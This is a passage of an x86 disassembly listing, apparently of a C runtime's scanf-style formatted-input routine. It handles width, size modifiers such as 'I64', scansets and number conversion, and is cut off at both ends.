		jnz	loc_41E109
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_41D85E:				; CODE XREF: sub_41D797+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_4397AC, 1
		jle	short loc_41D87B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D88A
; ---------------------------------------------------------------------------

loc_41D87B:				; CODE XREF: sub_41D797+D3j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41D88A:				; CODE XREF: sub_41D797+E2j
		test	eax, eax
		jz	short loc_41D8A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8A0:				; CODE XREF: sub_41D797+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D8E3
		jz	short loc_41D905
		cmp	ebx, 2Ah
		jz	short loc_41D8DE
		cmp	ebx, 46h
		jz	short loc_41D905
		cmp	ebx, 49h
		jz	short loc_41D8C0
		cmp	ebx, 4Ch
		jnz	short loc_41D8F2
		inc	[ebp+var_D]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8C0:				; CODE XREF: sub_41D797+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D8F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D8F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8DE:				; CODE XREF: sub_41D797+113j
		inc	[ebp+var_E]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8E3:				; CODE XREF: sub_41D797+10Cj
		cmp	ebx, 68h
		jz	short loc_41D8FF
		cmp	ebx, 6Ch
		jz	short loc_41D8F7
		cmp	ebx, 77h
		jz	short loc_41D8FA

loc_41D8F2:				; CODE XREF: sub_41D797+122j
					; sub_41D797+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8F7:				; CODE XREF: sub_41D797+154j
		inc	[ebp+var_D]

loc_41D8FA:				; CODE XREF: sub_41D797+159j
		inc	[ebp+var_5]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8FF:				; CODE XREF: sub_41D797+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_41D905:				; CODE XREF: sub_41D797+107j
					; sub_41D797+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D85E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D92A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_41D92A:				; CODE XREF: sub_41D797+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D948
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D944
		cmp	al, 43h
		jz	short loc_41D944
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D948
; ---------------------------------------------------------------------------

loc_41D944:				; CODE XREF: sub_41D797+1A1j
					; sub_41D797+1A5j
		mov	[ebp+var_5], 1

loc_41D948:				; CODE XREF: sub_41D797+19Bj
					; sub_41D797+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D981
		cmp	esi, 63h
		jz	short loc_41D972
		cmp	esi, 7Bh
		jz	short loc_41D972
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E224
		pop	ecx
		jmp	short loc_41D97D
; ---------------------------------------------------------------------------

loc_41D972:				; CODE XREF: sub_41D797+1C5j
					; sub_41D797+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3

loc_41D97D:				; CODE XREF: sub_41D797+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_41D981:				; CODE XREF: sub_41D797+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D991
		cmp	[ebp+var_C], eax
		jz	loc_41E16D

loc_41D991:				; CODE XREF: sub_41D797+1EFj
		cmp	esi, 6Fh
		jg	loc_41DBF8
		jz	loc_41DEAA
		cmp	esi, 63h
		jz	loc_41DBD5
		cmp	esi, 64h
		jz	loc_41DEAA
		jle	loc_41DC22
		cmp	esi, 67h
		jle	short loc_41D9F5
		cmp	esi, 69h
		jz	short loc_41D9DD
		cmp	esi, 6Eh
		jnz	loc_41DC22
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41E0D8
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41D9DD:				; CODE XREF: sub_41D797+229j
		push	64h
		pop	esi

loc_41D9E0:				; CODE XREF: sub_41D797+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41DC6A
		mov	[ebp+var_17], 1
		jmp	loc_41DC6F
; ---------------------------------------------------------------------------

loc_41D9F5:				; CODE XREF: sub_41D797+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41DA11
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41DA16
; ---------------------------------------------------------------------------

loc_41DA11:				; CODE XREF: sub_41D797+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DA2D

loc_41DA16:				; CODE XREF: sub_41D797+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------

loc_41DA2D:				; CODE XREF: sub_41D797+27Dj
		mov	edi, [ebp+arg_0]

loc_41DA30:				; CODE XREF: sub_41D797+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41DA3F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41DA46

loc_41DA3F:				; CODE XREF: sub_41D797+29Dj
		mov	[ebp+var_C], 15Dh

loc_41DA46:				; CODE XREF: sub_41D797+2A6j
					; sub_41D797+2F2j
		cmp	dword_4397AC, 1
		jle	short loc_41DA5B
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DA66
; ---------------------------------------------------------------------------

loc_41DA5B:				; CODE XREF: sub_41D797+2B6j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DA66:				; CODE XREF: sub_41D797+2C2j
		test	eax, eax
		jz	short loc_41DA8B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DA8B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA46
; ---------------------------------------------------------------------------

loc_41DA8B:				; CODE XREF: sub_41D797+2D1j
					; sub_41D797+2DBj
		cmp	byte_4397B0, bl
		jnz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		mov	al, byte_4397B0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_41DAB4:				; CODE XREF: sub_41D797+360j
		cmp	dword_4397AC, 1
		jle	short loc_41DAC9
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DAD4
; ---------------------------------------------------------------------------

loc_41DAC9:				; CODE XREF: sub_41D797+324j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DAD4:				; CODE XREF: sub_41D797+330j
		test	eax, eax
		jz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DAB4
; ---------------------------------------------------------------------------

loc_41DAF9:				; CODE XREF: sub_41D797+2FAj
					; sub_41D797+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41DB91
		cmp	ebx, 65h
		jz	short loc_41DB11
		cmp	ebx, 45h
		jnz	loc_41DB91

loc_41DB11:				; CODE XREF: sub_41D797+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41DB38
		mov	[esi], al
		inc	esi
		jmp	short loc_41DB3D
; ---------------------------------------------------------------------------

loc_41DB38:				; CODE XREF: sub_41D797+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DB5B

loc_41DB3D:				; CODE XREF: sub_41D797+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41DB4C
		and	[ebp+var_C], eax
		jmp	short loc_41DB5B
; ---------------------------------------------------------------------------

loc_41DB4C:				; CODE XREF: sub_41D797+3AEj
					; sub_41D797+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DB5B:				; CODE XREF: sub_41D797+3A4j
					; sub_41D797+3B3j
		cmp	dword_4397AC, 1
		jle	short loc_41DB70
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DB7B
; ---------------------------------------------------------------------------

loc_41DB70:				; CODE XREF: sub_41D797+3CBj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DB7B:				; CODE XREF: sub_41D797+3D7j
		test	eax, eax
		jz	short loc_41DB91
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------

loc_41DB91:				; CODE XREF: sub_41D797+366j
					; sub_41D797+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43B908
		add	esp, 0Ch
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DBD5:				; CODE XREF: sub_41D797+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41DBE4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_41DBE4:				; CODE XREF: sub_41D797+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41DBEE
		mov	[ebp+var_16], 1

loc_41DBEE:				; CODE XREF: sub_41D797+451j
		mov	edi, offset dword_43B930
		jmp	loc_41DD03
; ---------------------------------------------------------------------------

loc_41DBF8:				; CODE XREF: sub_41D797+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DEA6
		sub	eax, 3
		jz	loc_41DCF4
		dec	eax
		dec	eax
		jz	loc_41DEAA
		sub	eax, 3
		jz	loc_41D9E0
		sub	eax, 3
		jz	short loc_41DC46

loc_41DC22:				; CODE XREF: sub_41D797+21Bj
					; sub_41D797+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41E16D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DC46:				; CODE XREF: sub_41D797+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41DC50
		mov	[ebp+var_16], 1

loc_41DC50:				; CODE XREF: sub_41D797+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DD07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DD03
; ---------------------------------------------------------------------------

loc_41DC6A:				; CODE XREF: sub_41D797+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41DC91

loc_41DC6F:				; CODE XREF: sub_41D797+259j
		dec	[ebp+var_C]
		jnz	short loc_41DC80
		cmp	[ebp+var_20], 0
		jz	short loc_41DC80
		mov	[ebp+var_F], 1
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------

loc_41DC80:				; CODE XREF: sub_41D797+4DBj
					; sub_41D797+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DC91:				; CODE XREF: sub_41D797+4D6j
					; sub_41D797+4E7j
		cmp	ebx, 30h
		jnz	loc_41DEDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41DCDF
		cmp	bl, 58h
		jz	short loc_41DCDF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41DCC9
		push	6Fh

loc_41DCC3:				; CODE XREF: sub_41D797+55Bj
		pop	esi
		jmp	loc_41DEDF
; ---------------------------------------------------------------------------

loc_41DCC9:				; CODE XREF: sub_41D797+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DEDC
; ---------------------------------------------------------------------------

loc_41DCDF:				; CODE XREF: sub_41D797+517j
					; sub_41D797+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------

loc_41DCF4:				; CODE XREF: sub_41D797+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41DCFE
		mov	[ebp+var_16], 1

loc_41DCFE:				; CODE XREF: sub_41D797+561j
		mov	edi, offset dword_43B928

loc_41DD03:				; CODE XREF: sub_41D797+45Cj
					; sub_41D797+4CEj
		or	[ebp+var_18], 0FFh

loc_41DD07:				; CODE XREF: sub_41D797+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DD2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DD2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD2B:				; CODE XREF: sub_41D797+584j
					; sub_41D797+589j
		mov	dl, [ebp+var_35]

loc_41DD2E:				; CODE XREF: sub_41D797+592j
					; sub_41D797+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DD93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DD7A
		test	dl, dl
		jz	short loc_41DD7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DD7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DD4D
		mov	al, cl
		jmp	short loc_41DD51
; ---------------------------------------------------------------------------

loc_41DD4D:				; CODE XREF: sub_41D797+5B0j
		mov	al, dl
		mov	dl, cl

loc_41DD51:				; CODE XREF: sub_41D797+5B4j
		cmp	dl, al
		ja	short loc_41DD76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_41DD5E:				; CODE XREF: sub_41D797+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DD5E

loc_41DD76:				; CODE XREF: sub_41D797+5BCj
		xor	dl, dl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD7A:				; CODE XREF: sub_41D797+5A0j
					; sub_41D797+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD93:				; CODE XREF: sub_41D797+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41E19D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DDA5
		mov	[ebp+arg_4], edi

loc_41DDA5:				; CODE XREF: sub_41D797+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DDBC:				; CODE XREF: sub_41D797+6BCj
					; sub_41D797+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DDD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DE6C

loc_41DDD0:				; CODE XREF: sub_41D797+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DE60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DE60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DE58
		cmp	[ebp+var_16], 0
		jz	short loc_41DE4D
		mov	ecx, off_4395A0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		mov	[ebp+var_37], al

loc_41DE2C:				; CODE XREF: sub_41D797+686j
		push	dword_4397AC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420E98
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------

loc_41DE4D:				; CODE XREF: sub_41D797+673j
		mov	[esi], al
		inc	esi

loc_41DE50:				; CODE XREF: sub_41D797+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DE58:				; CODE XREF: sub_41D797+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DE60:				; CODE XREF: sub_41D797+649j
					; sub_41D797+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DE6C:				; CODE XREF: sub_41D797+633j
		cmp	[ebp+var_30], esi
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41E0FE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DE9E
		and	word ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DE9E:				; CODE XREF: sub_41D797+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DEA6:				; CODE XREF: sub_41D797+466j
		mov	[ebp+var_D], 1

loc_41DEAA:				; CODE XREF: sub_41D797+203j
					; sub_41D797+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DEB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DEBD
; ---------------------------------------------------------------------------

loc_41DEB8:				; CODE XREF: sub_41D797+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DEDF

loc_41DEBD:				; CODE XREF: sub_41D797+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DECE
		cmp	[ebp+var_20], 0
		jz	short loc_41DECE
		mov	[ebp+var_F], 1
		jmp	short loc_41DEDF
; ---------------------------------------------------------------------------

loc_41DECE:				; CODE XREF: sub_41D797+729j
					; sub_41D797+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax

loc_41DEDC:				; CODE XREF: sub_41D797+543j
		mov	[ebp+var_14], ebx

loc_41DEDF:				; CODE XREF: sub_41D797+4FDj
					; sub_41D797+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DFF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DFD6

loc_41DEF3:				; CODE XREF: sub_41D797+82Cj
		cmp	esi, 78h
		jnz	short loc_41DF47
		cmp	dword_4397AC, 1
		jle	short loc_41DF10
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF1D
; ---------------------------------------------------------------------------

loc_41DF10:				; CODE XREF: sub_41D797+768j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41DF1D:				; CODE XREF: sub_41D797+777j
		test	eax, eax
		jz	loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------

loc_41DF47:				; CODE XREF: sub_41D797+75Fj
		cmp	dword_4397AC, 1
		jle	short loc_41DF5C
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF67
; ---------------------------------------------------------------------------

loc_41DF5C:				; CODE XREF: sub_41D797+7B7j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DF67:				; CODE XREF: sub_41D797+7C3j
		test	eax, eax
		jz	short loc_41DFC8
		cmp	esi, 6Fh
		jnz	short loc_41DF85
		cmp	ebx, 38h
		jge	short loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420F90
		jmp	short loc_41DF94
; ---------------------------------------------------------------------------

loc_41DF85:				; CODE XREF: sub_41D797+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417760

loc_41DF94:				; CODE XREF: sub_41D797+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_41DF9A:				; CODE XREF: sub_41D797+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DFB2
		dec	[ebp+var_C]
		jz	short loc_41DFD6

loc_41DFB2:				; CODE XREF: sub_41D797+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DEF3
; ---------------------------------------------------------------------------

loc_41DFC8:				; CODE XREF: sub_41D797+788j
					; sub_41D797+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DFD6:				; CODE XREF: sub_41D797+756j
					; sub_41D797+819j
		cmp	[ebp+var_17], 0
		jz	loc_41E0BC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41E0BC
; ---------------------------------------------------------------------------

loc_41DFF8:				; CODE XREF: sub_41D797+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41E0B4

loc_41E002:				; CODE XREF: sub_41D797+90Aj
		cmp	esi, 78h
		jz	short loc_41E046
		cmp	esi, 70h
		jz	short loc_41E046
		cmp	dword_4397AC, 1
		jle	short loc_41E021
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E021:				; CODE XREF: sub_41D797+87Cj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41E02C:				; CODE XREF: sub_41D797+888j
		test	eax, eax
		jz	short loc_41E0A6
		cmp	esi, 6Fh
		jnz	short loc_41E03F
		cmp	ebx, 38h
		jge	short loc_41E0A6
		shl	edi, 3
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------

loc_41E03F:				; CODE XREF: sub_41D797+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------

loc_41E046:				; CODE XREF: sub_41D797+86Ej
					; sub_41D797+873j
		cmp	dword_4397AC, 1
		jle	short loc_41E05E
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E06B
; ---------------------------------------------------------------------------

loc_41E05E:				; CODE XREF: sub_41D797+8B6j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41E06B:				; CODE XREF: sub_41D797+8C5j
		test	eax, eax
		jz	short loc_41E0A6
		push	ebx
		shl	edi, 4
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41E07E:				; CODE XREF: sub_41D797+8A6j
					; sub_41D797+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41E090
		dec	[ebp+var_C]
		jz	short loc_41E0B4

loc_41E090:				; CODE XREF: sub_41D797+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41E002
; ---------------------------------------------------------------------------

loc_41E0A6:				; CODE XREF: sub_41D797+897j
					; sub_41D797+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41E0B4:				; CODE XREF: sub_41D797+865j
					; sub_41D797+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41E0BC
		neg	edi

loc_41E0BC:				; CODE XREF: sub_41D797+843j
					; sub_41D797+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41E0C5
		and	[ebp+var_1C], 0

loc_41E0C5:				; CODE XREF: sub_41D797+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	short loc_41E0FE
		inc	[ebp+var_34]

loc_41E0D8:				; CODE XREF: sub_41D797+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41E0EE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------

loc_41E0EE:				; CODE XREF: sub_41D797+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41E0FB
		mov	[eax], edi
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------

loc_41E0FB:				; CODE XREF: sub_41D797+95Ej
		mov	[eax], di

loc_41E0FE:				; CODE XREF: sub_41D797+241j
					; sub_41D797+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E14B
; ---------------------------------------------------------------------------

loc_41E109:				; CODE XREF: sub_41D797+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41E178
		mov	ecx, off_4395A0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E14B
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41E186
